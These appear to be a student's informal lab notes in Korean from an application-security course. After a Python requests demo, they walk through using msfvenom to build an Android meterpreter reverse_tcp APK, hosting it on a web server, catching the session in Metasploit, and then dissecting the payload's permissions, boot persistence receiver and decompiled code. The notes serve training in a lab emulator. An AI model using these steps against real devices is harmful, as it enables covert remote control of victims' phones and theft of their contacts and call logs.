보안교과서
[SeSAC 성동캠퍼스] 어플리케이션 보안_취약점 진단 본문
1. requests 모듈 설치
requests 모듈을 사용하기 위해서는 pip를 통해 설치를 해야 합니다. pip는 python 3.4이상 버전부터는 자동으로 같이 설치가 되기 때문에, 따로 설치할 필요없습니다. 아래 명령어를 통해 requests 모듈을 설치합니다.
pip install requests
2. 사용해보기
네이버와 구글에 GET 요청을 보내보도록 하는 예제를 살펴보겠습니다.
import requests
url = "http://www.naver.com"
response = requests.get(url)
print("status code :", response.status_code)
응답 코드로 200이 넘어온다 . post()를 사용하는 경우도 있는데
get() 대신에 post()를 사용하면가능하다.
import requests
url = "http://www.naver.com"
response = requests.post(url)
print("status code :", response.status_code)
결과값은 똑같이 post()를 사용해도 된다.
wmware
file -> open -> kali linux open
id : kali
pw : kali
들어가서 터미널로 들어가서
sudo apt-get update && apt -get upgrade -y
작동 안하면 ,,
kali
1. VM Network 설정에서 NAT로 변경
2. sudo service apache2 restart 웹페이지를 오픈
3. ifconfig 명령어로 ip를 확인
nox
1. 인터넷 브라우저로 ip에 접근하여 nox 에서 칼리로 접근되는지 확인
kali
1. msfvenom -p
android/meterpreter/reverse_tcp LHOST=칼리ip LPORT=4444 R > sesac1121.apk
msfvenom으로 안드로이드 악성코드 생성
kali ip는 ipconfig 명령으로 vm bridge아이피 주소 확인
2. sudo cp sesac1121.apk /var/www/html
생성된 악성코드를 웹에 배포
3.msfconsole
메타스플로잇 콘솔 실행
4. use exploit/multi/handler
핸들러설정
5.set payload android/meterpreter/reverse_tcp
페이로드 설정
6.set LHOST 칼리 ip
메타스플로잇 아이피설정
7. set LPORT 4444
8. set exitonsession false
9. exploit -j
10.녹스에서 다운 받은 파일 실행
11. 칼리에서 sessions 실행 만약에 안 뜨면 set ip port 설정
12. sessions -i 1
13.help 입력해서 여러가지 명령어 추가 가능하다
버전관리 17
android:targetSdkVersion="17"
전화번호부 확인할 수 있는 것
<uses-permission android:name="android.permission.READ_CONTACTS"/>
전화기록확인
<uses-permission android:name="android.permission.READ_CALL_LOG"/>
<uses-permission android:name="android.permission.WRITE_CALL_LOG"/
<activity> 화면을 구성하는 ui
</intent -filter> 진입점이 많다 (안드로이드는 많음 )
<receiver android:label="MainBroadcastReceiver" android:name="com.metasploit.stage.MainBroadcastReceiver">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED"/>
</intent-filter>
</receiver>
중요 부팅이 완료되도 다시 동작하게 하는 것 (리부트해도 다시 동작)
<service android:name="com.metasploit.stage.MainService" android:exported="true"/>
service 백단(백그라운)에 다시 돌아가는 것
constant Pool : 상수풀
좌측 목록에 있는 stage의 하단에 있는 알파벳 목록들은 클래스를 의미한다.
package com.metasploit.stage;
import android.app.Activity;
import android.os.Bundle;
/* loaded from: classes.dex */
public class MainActivity extends Activity {
@Override // android.app.Activity
protected void onCreate(Bundle bundle) {
super.onCreate(bundle); //슈퍼는 부문 class의 activity 부르는 것
MainService.startService(this);
finish();
}
//protected void onDestroyed(Bundle bundle) {
//Log.d("sesac","ondestory");
//}
}
mainactivity -> oncreate -> mainservice -> payload
payload 전송되는 데이터 task
port 가 62001 고정이라고 해서 찾아보다가
netstat -ano | findstr 13496로 입력하니까 62001포트가 나왔다.
녹스 해상도랑 루트 설정 하고 다시 재실행
adb kill-server하면 서버가 죽
권한 상승시키기 관리자 권한 상승
cd com.metasploit.stage/
data 밑 data
data 밑 app
.so 파일명은
date time ㅡㅡㅡㅡ(pid?) ㅡㅡㅡㅡ 알파벳(i : information, w : warning , e : error?)
확장자명 안 보여서 디컴파일링 못했는데
이렇게 해서 apk 뒤까지 지워서 해결했다.
디컴파일은 좀 있다가 수정 ..
java -jar apktool_2.5.0.jar d sesac1121.apk
java -jar은 자바 파일을 실행하라는 뜻이다 . 뒤의 apktool_2.5.0.jar 파일을 실행하고 뒤의 d 는 디컴파일 할 디렉토리..? seac1121.apk를 디컴파일 ?
"Apktool은 대표적인 안드로이드 애플리케이션(Android Application) 대상의 리버스 엔지니어링 도구입니다. APK 파일을 분석하여 리소스를 뽑아낼 수 있고(디코딩), 코드를 수정하여 다시 재빌드(Rebuild)할 수도 있습니다. 실제로 XML, 이미지 파일, .dex 파일을 포함하여 안드로이드 앱의 주요 소스를 뽑기 위해 가장 많이 사용되고 있습니다." 라고 한다.
이거 실행해보려고 하는데 ..v
음 안나오네요 ; java -jar은 동일하고 -o는 .. 내일